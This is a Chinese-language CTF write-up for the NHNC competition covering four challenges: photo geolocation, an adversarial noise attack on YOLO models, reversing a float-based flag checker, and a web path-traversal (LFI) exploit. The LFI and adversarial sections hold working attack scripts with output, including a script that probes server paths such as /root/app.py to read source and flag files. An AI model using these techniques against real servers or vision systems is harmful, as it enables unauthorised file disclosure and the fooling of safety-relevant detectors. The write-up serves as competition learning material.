Misc Travel Challenge This is a photo I took some time ago, but I’ve forgotten exactly where I was when I took it. Can you figure out which building I was inside when I captured this image? Flag format: NHNC{<address_on_google_maps>}
Replace all commas and spaces in the address with underscores (_). For example, if the correct address is:1 Chome-29-13 Sengoku, Bunkyo City, Tokyo 112-0011, Japan
,Then the correct flag would be:NHNC{1_Chome-29-13_Sengoku_Bunkyo City_Tokyo_112-0011_Japan}
Solution
识图发现是广岛县贺茂泉附近果味饱满,米香动人,生酒就是这么好喝!_贺茂泉_西条_广岛县
然后发现图中右上角的塔位于(公社)広島県環境保全センター 東広島支所 - Google 地图
在附近搜索找到目标位置 Hotel Route Inn East Hiroshima Saijo Station - Google 地图
14-24 Saijohonmachi, Higashihiroshima, Hiroshima 739-0011 日本
1 NHNC{14-24_Saijohonmachi_Higashihiroshima_Hiroshima_739-0011_Japan}
attack CNN? Challenge Did u know how to attack CNN?
1 2 different_prediction = result_v8["class_name"] != result_v10["class_name"] confidence_gap = abs(result_v8["confidence"] - result_v10["confidence"]) >= 0.4
http://chal.78727867.xyz:5000/
Solution 题目附件提供了 yolo_v8.pt
和 yolo_v10.pt
这题考察的是对抗攻击,具体来说是生成式对抗样本(Adversarial Example Generation)
我们的目标是从零(从随机噪声)开始,通过优化方法 “创造” 一张能让模型高置信度识别出特定目标的图片
在本题中,生成一张噪声图片使得任意一个模型识别出任意一个置信度大于等于 0.4 的目标结果即可,因为另一个模型识别这张噪声图片极大概率是识别不出什么东西的(也就是置信度等于 0),这样一来二者的置信度之差就大于等于 0.4 了
我选择的是 yolo_v8.pt
的 Green Light
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 import torchimport numpy as npfrom PIL import Imageimport matplotlib.pyplot as pltfrom ultralytics import YOLOMODEL_PATH = 'yolo_v8.pt' TARGET_CLASS_ID = 0 CONFIDENCE_THRESHOLD = 0.90 LEARNING_RATE = 0.01 ITERATIONS = 500 IMG_SIZE = 640 print (f"正在加载您的模型: {MODEL_PATH} ..." )model = YOLO(MODEL_PATH) device = 'cuda' if torch.cuda.is_available() else 'cpu' model.to(device) model.eval () class_names = model.names target_class_name = class_names.get(TARGET_CLASS_ID, f"ID_{TARGET_CLASS_ID} " ) print (f"模型加载完毕。攻击目标 -> 类别: '{target_class_name} ' (ID: {TARGET_CLASS_ID} )" )adversarial_image = torch.rand(1 , 3 , IMG_SIZE, IMG_SIZE, device=device, requires_grad=True ) optimizer = torch.optim.Adam([adversarial_image], lr=LEARNING_RATE) num_classes = len (class_names) num_coords = 4 target_class_index_in_raw_output = num_coords + TARGET_CLASS_ID print ("\n开始优化图片 (采用直接攻击原始输出的策略)..." )for i in range (ITERATIONS): optimizer.zero_grad() preds = model.model(adversarial_image)[0 ] preds = preds.permute(0 , 2 , 1 ) target_scores = preds[0 , :, target_class_index_in_raw_output] max_score = target_scores.max () loss = -max_score loss.backward() optimizer.step() with torch.no_grad(): adversarial_image.clamp_(0 , 1 ) print (f"\r迭代 {i+1 } /{ITERATIONS} | 目标类别最高原始分数: {max_score.item():.4 f} " , end="" ) print (f"\n\n优化完成。最终目标类别最高原始分数: {max_score.item():.4 f} " )print ("\n正在用标准预测方法验证最终生成的图片..." )final_results = model.predict(adversarial_image, verbose=False ) final_image_tensor = adversarial_image.squeeze(0 ).detach().cpu() final_image_numpy = final_image_tensor.permute(1 , 2 , 0 ).numpy() final_image_uint8 = (final_image_numpy * 255 ).astype(np.uint8) img_pil = Image.fromarray(final_image_uint8) output_filename = f"adversarial_image_for_{target_class_name.replace(' ' , '_' )} .png" img_pil.save(output_filename) print (f"对抗性图片已保存为: {output_filename} " )print ("\n模型在最终图片上的识别结果:" )final_results[0 ].show() final_boxes = final_results[0 ].boxes found = False if len (final_boxes) > 0 : for box in final_boxes: class_id = int (box.cls) conf = float (box.conf) if class_id == TARGET_CLASS_ID and conf >= CONFIDENCE_THRESHOLD: print (f"\n攻击成功! 检测到 '{class_names.get(class_id)} ',置信度: {conf:.4 f} (已超过 {CONFIDENCE_THRESHOLD} )" ) found = True break if not found: top_box_index = final_boxes.conf.argmax() top_box = final_boxes[top_box_index] top_class_id = int (top_box.cls) top_conf = float (top_box.conf) print (f"\n⚠️ 攻击部分成功,但置信度未达标或目标错误。" ) print (f"置信度最高的检测是 '{class_names.get(top_class_id)} ' ({top_conf:.4 f} )" ) else : print ("\n❌ 攻击失败,模型在最终生成的图片上未检测到任何物体。" ) plt.imshow(img_pil) plt.title(f"Generated Noise Image (Target: '{target_class_name} ')" ) plt.axis('off' ) plt.show()
运行结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 正在加载您的模型: yolo_v8.pt... 模型加载完毕。攻击目标 -> 类别: 'Green Light' (ID: 0) 开始优化图片 (采用直接攻击原始输出的策略)... 迭代 500/500 | 目标类别最高原始分数: 0.9972 优化完成。最终目标类别最高原始分数: 0.9972 正在用标准预测方法验证最终生成的图片... 对抗性图片已保存为: adversarial_image_for_Green_Light.png 模型在最终图片上的识别结果: 攻击成功! 检测到 'Green Light',置信度: 0.9972 (已超过 0.9)
原图:
下图是将图片上传到靶机中的识别结果:
1 NHNC{you_kn0w_h0w_t0_d0_adv3rs3ria1_attack}
Reverse flag checker Challenge You are doing a mission and you need to find out the secret
Solution sub_123E
是核心函数,它对用户输入进行一系列复杂的验证。这题的目标是构造一个能通过 sub_123E
所有检查的输入字符串,这个字符串就是 flag。
先分析关键的辅助函数:
sub_1189 (float a1) -> (int) a1: 将浮点数强制转换为整数,即截断小数部分 。 sub_119D(float a1) -> LODWORD(a1): 获取浮点数在内存中的 32 位二进制表示 。例如,sub_119D (1.0f) 返回的不是整数 1,而是 1.0f 的 IEEE 754 表示 0x3F800000。 sub_11DC (uint8_t a1, char a2) -> ROL (a1, a2): 8 位循环左移 。 sub_120D (uint8_t a1, char a2) -> ROR (a1, a2): 8 位循环右移 。 此外,代码中充斥着形如 *(double *)_mm_cvtsi32_si128(0x420FE9E1u).m128i_i64
的 SSE 指令,这实际上是反编译器表示 “将一个 32 位整数的位模式(bit pattern)解释为单精度浮点数” 的复杂方式。例如,0x420FE9E1 在内存中就是浮点数 35.8568…。
sub_123E 函数由 40 多个独立的 if 条件构成,每个条件验证 Flag 中的一个字符。这些验证可以分为三类:
A. 直接计算型 大部分字符可以通过直接的逆向计算得出。
示例 a1 [5]: C 代码: (unsigned __int8) sub_120D (sub_1189 (float (0x420FE9E1)), 1LL) - 39 != a1 [5] 分析:float(0x420FE9E1) -> 35.8568 sub_1189(35.8568) -> 35 sub_120D(35, 1) -> ROR(35, 1) -> ROR(0b00100011, 1) -> 0b10010001 -> 145 145 - 39 = 106 结论: a1 [5] 必须是 106 (ASCII: ‘j’)。 B. 搜索 / 穷举型 有几个字符的值被用作计算的一部分,需要在一个小范围内(如所有可打印 ASCII 字符)进行搜索。
示例 a1 [0]: C 代码: (unsigned int) sub_1189 ((float)*a1 * 3.1415) != 245 分析:我们需要找到一个字符 c,使得 int (c * 3.1415) 的结果是 245。 解法: 245 <= c * 3.1415 < 246。解得 77.99 <= c < 78.31。唯一的整数解是 78。 结论: a1 [0] 必须是 78 (ASCII: ‘N’)。 C. 关键陷阱:C 语言类型转换 在初步解题时,一个 ValueError 暴露了一个常见的逆向陷阱。
示例 a1 [10]: C 代码: (unsigned __int8) sub_119D (float (0x40B37B4A)) + 41 != a1 [10] 错误 的解读: sub_119D (…) + 41。这会导致 0x40B37B4A + 41,一个巨大的数字。正确 的解读: C 语言的 (unsigned __int8) 类型转换会先于加法运算。这意味着必须先将 sub_119D 的 32 位结果截断为 8 位,然后再加 41。 1. 2. sub_119D(float(0x40B37B4A)) -> 0x40B37B4A 3. (unsigned __int8)(0x40B37B4A) -> 0x4A (十进制 74) 4. 74 + 41 = 115结论: a1 [10] 必须是 115 (ASCII: ‘s’)。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 import structdef float_from_hex (hex_val: int ) -> float : """ Takes a 32-bit integer and interprets its bit pattern as a little-endian single-precision float. Equivalent to: *(float*)&hex_val """ return struct.unpack('<f' , struct.pack('<I' , hex_val))[0 ] def sub_1189 (f: float ) -> int : """ Replicates sub_1189: Casts float to int (truncates). """ return int (f) def sub_119D (f: float ) -> int : """ Replicates sub_119D: Returns the 32-bit integer representation of a float. Equivalent to: LODWORD(f) or *(int*)&f """ return struct.unpack('<I' , struct.pack('<f' , f))[0 ] def rol (val: int , r_bits: int ) -> int : """ Replicates sub_11DC: 8-bit rotate left. """ return ((val << r_bits) | (val >> (8 - r_bits))) & 0xFF def ror (val: int , r_bits: int ) -> int : """ Replicates sub_120D: 8-bit rotate right. """ return ((val >> r_bits) | (val << (8 - r_bits))) & 0xFF def solve (): """ Reverses the logic from sub_123E to find the flag. """ flag = [0 ] * 46 v1 = sub_1189(float_from_hex(0x420FE9E1 )) flag[5 ] = ror(v1, 1 ) - 39 for i in range (32 , 127 ): if sub_1189(i * 3.1415 ) == 245 : flag[0 ] = i break v4 = sub_1189(float_from_hex(0x406CCCCD )) flag[44 ] = rol(v4, 7 ) - 76 flag[19 ] = (sub_119D(float_from_hex(0x3F800000 )) >> 24 ) + 32 v5 = sub_1189(float_from_hex(0x42B16C22 )) flag[12 ] = ror(v5, 4 ) - 24 flag[33 ] = (sub_119D(float_from_hex(0x3FA00000 )) & 0xFF ) + 55 v6 = sub_1189(float_from_hex(0x419CF5C3 )) flag[2 ] = rol(v6, 3 ) - 74 flag[25 ] = sub_1189(float_from_hex(0x40A00000 )) % 7 + 44 v7 = sub_1189(float_from_hex(0x3F800000 )) flag[17 ] = ror(v7, 1 ) - 80 for i in range (32 , 127 ): if rol(sub_1189(i * 1.5 ), 2 ) - 18 == i: flag[8 ] = i break flag[30 ] = (sub_119D(float_from_hex(0x3F000000 )) >> 24 ) - 15 flag[41 ] = ((sub_119D(float_from_hex(0x3F800000 )) >> 8 ) & 0xFF ) + 105 v10 = sub_1189(float_from_hex(0x41316C22 )) flag[6 ] = (2 * v10 + 95 ) % 256 v11 = sub_1189(float_from_hex(0x40E00000 )) flag[21 ] = (4 * (v11 + 20 )) % 256 v12 = sub_1189(float_from_hex(0x41082681 )) flag[13 ] = (v12 + 43 ) % 256 flag[29 ] = sub_1189(float_from_hex(0x41200000 )) // 5 + 110 flag[3 ] = ((sub_119D(float_from_hex(0x411B4673 )) >> 16 ) & 0xFF ) + 40 flag[27 ] = ((sub_119D(float_from_hex(0x3FC00000 )) >> 8 ) & 0xFF ) + 103 flag[14 ] = (sub_119D(float_from_hex(0x41F66B86 )) >> 24 ) + 30 flag[9 ] = sub_1189(float_from_hex(0x416C902E )) // 3 + 91 v13 = sub_1189(float_from_hex(0x406C902E )) flag[16 ] = (3 * v13 + 39 ) % 256 flag[1 ] = 72 flag[23 ] = ((sub_119D(float_from_hex(0x40000000 )) >> 16 ) & 0xFF ) + 52 for i in range (32 , 127 ): if sub_1189(i * 7.77 ) % 5 + 46 == i: flag[11 ] = i break v15 = sub_1189(float_from_hex(0x40400000 )) flag[24 ] = ror(v15, 3 ) + 20 flag[37 ] = sub_1189(float_from_hex(0x41080000 )) % 4 + 51 v16 = sub_1189(float_from_hex(0x40B00000 )) flag[34 ] = rol(v16, 5 ) - 65 v17 = sub_1189(float_from_hex(0x40F00000 )) flag[36 ] = ror(v17, 6 ) + 84 v18 = sub_1189(float_from_hex(0x40C00000 )) flag[20 ] = rol(v18, 1 ) + 90 v19 = sub_1189(float_from_hex(0x40000000 )) flag[31 ] = ror(v19, 2 ) - 23 flag[10 ] = (sub_119D(float_from_hex(0x40B37B4A )) & 0xFF ) + 41 flag[26 ] = 2 * (sub_1189(float_from_hex(0x40C80000 )) + 49 ) v20 = sub_1189(float_from_hex(0x408CCCCD )) flag[39 ] = rol(v20, 1 ) + 89 v21 = sub_1189(float_from_hex(0x413313AA )) flag[15 ] = rol(v21, 2 ) + 55 v22 = sub_1189(float_from_hex(0x40D00000 )) flag[35 ] = (v22 + 42 ) % 256 flag[32 ] = 2 * (sub_1189(float_from_hex(0x41100000 )) % 10 + 46 ) v23 = sub_1189(float_from_hex(0x40A00000 )) flag[18 ] = (v23 + 103 ) % 256 v24 = sub_1189(float_from_hex(0x41100000 )) flag[28 ] = rol(v24, 4 ) - 49 flag[22 ] = sub_1189(float_from_hex(0x41000000 )) // 2 + 107 flag[7 ] = ((sub_119D(float_from_hex(0x42607127 )) >> 8 ) & 0xFF ) + 2 v25 = sub_1189(float_from_hex(0x4013D70A )) flag[43 ] = (v25 + 108 ) % 256 v26 = sub_1189(float_from_hex(0x40D33334 )) flag[40 ] = (5 * v26 + 25 ) % 256 for i in range (32 , 127 ): if (sub_1189(i * 2.5 ) + 72 ) % 256 == i: flag[4 ] = i break flag[38 ] = ((sub_119D(float_from_hex(0x40000000 )) >> 16 ) & 0xFF ) + 114 v29 = sub_1189(float_from_hex(0x400CCCCD )) flag[42 ] = ror(v29, 3 ) + 47 flag[45 ] = 125 result_string = "" .join(chr (c) for c in flag) print (result_string) if __name__ == "__main__" : solve()
1 NHNC{jus7_s0m3_c00l_flo4t1ng_p0in7_0p3ra7ion5}
Web dkri3c1_love_cat Challenge I like cat cat cat & banana
Hint: Flag is in the same directory as app.py
Solution 明显是 LFI,但又不知道在哪,让 AI 搓一个脚本尝试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import requestsimport sysfrom urllib.parse import urljoinBASE_URL = "http://chal.78727867.xyz:1234/view" POSSIBLE_PATHS = [ '/app/app.py' , '/app.py' , '/var/www/app.py' , '/var/www/html/app.py' , '/srv/app.py' , '/srv/www/app.py' , '/usr/src/app/app.py' , '/opt/app/app.py' , '/home/www-data/app.py' , '/home/user/app.py' , '/home/ctf/app.py' , '/root/app.py' , '/app/main.py' , '/main.py' , '/app/server.py' , '/server.py' , ] print ("--- 开始通过LFI漏洞寻找 app.py ---" )print (f"目标URL: {BASE_URL} " )found_path = None for path in POSSIBLE_PATHS: params = {'img' : path} print (f"[*] 正在尝试路径: {path} " ) try : response = requests.get(BASE_URL, params=params, timeout=10 ) if response.status_code == 200 : content = response.text print ("\n" + "=" *50 ) print (f"[+] 成功! 找到文件路径: {path} " ) print ("=" *50 ) print ("\n--- 文件内容预览 (前500个字符) ---" ) print (content[:500 ]) print ("--------------------------------------------" ) found_path = path break else : print (f" [-] 失败,状态码: {response.status_code} " ) except requests.exceptions.RequestException as e: print (f"[!] 请求异常: {e} " ) continue if found_path: directory = found_path.rsplit('/' , 1 )[0 ] flag_path_guess = f"{directory} /flag.txt" print ("\n[+] 任务完成!" ) print (f"下一步,请尝试读取Flag。Flag与app.py在同一目录 ({directory} )。" ) print (f"你可以尝试访问以下URL来获取Flag:" ) flag_url = f"{BASE_URL} ?img={flag_path_guess} " print (f" - {flag_url} " ) print (f"如果不行,再试试 'flag' 或者其他文件名,例如: {BASE_URL} ?img={directory} /flag" ) else : print ("\n" + "=" *50 ) print ("[-] 失败: 在给定的路径列表中没有找到 app.py。" ) print ("[-] 你可能需要编辑脚本中的 `POSSIBLE_PATHS` 列表,添加更多可能的路径。" ) print ("=" *50 )
运行结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 --- 开始通过LFI漏洞寻找 app.py --- 目标URL: http://chal.78727867.xyz:1234/view [*] 正在尝试路径: /app/app.py ================================================== [+] 成功! 找到文件路径: /app/app.py ================================================== --- 文件内容预览 (前500个字符) --- from flask import Flask, request, send_file, abort import os app = Flask(__name__) @app.route('/') def index(): return ''' <h1> 🐱 Welcome to dkri3c1's Cat Photo Shop </h1> <p>Cat is Cuteeeee :D </p> <code>BTW, You can use /view?img=cat.png to view Cute Catttt </code> <br></br> <img src="static/images/cat.png" width="500" height="500"> ''' @app.route('/view') def view_image(): img = request.args.get('img', '') -------------------------------------------- [+] 任务完成! 下一步,请尝试读取Flag。Flag与app.py在同一目录 (/app)。 你可以尝试访问以下URL来获取Flag: - http://chal.78727867.xyz:1234/view?img=/app/flag.txt 如果不行,再试试 'flag' 或者其他文件名,例如: http://chal.78727867.xyz:1234/view?img=/app/flag
访问 http://chal.78727867.xyz:1234/view?img=/app/flag.txt 就拿到 flag 了
1 NHNC{dkri3c1_Like_Cat_oUo_>_<_c8763}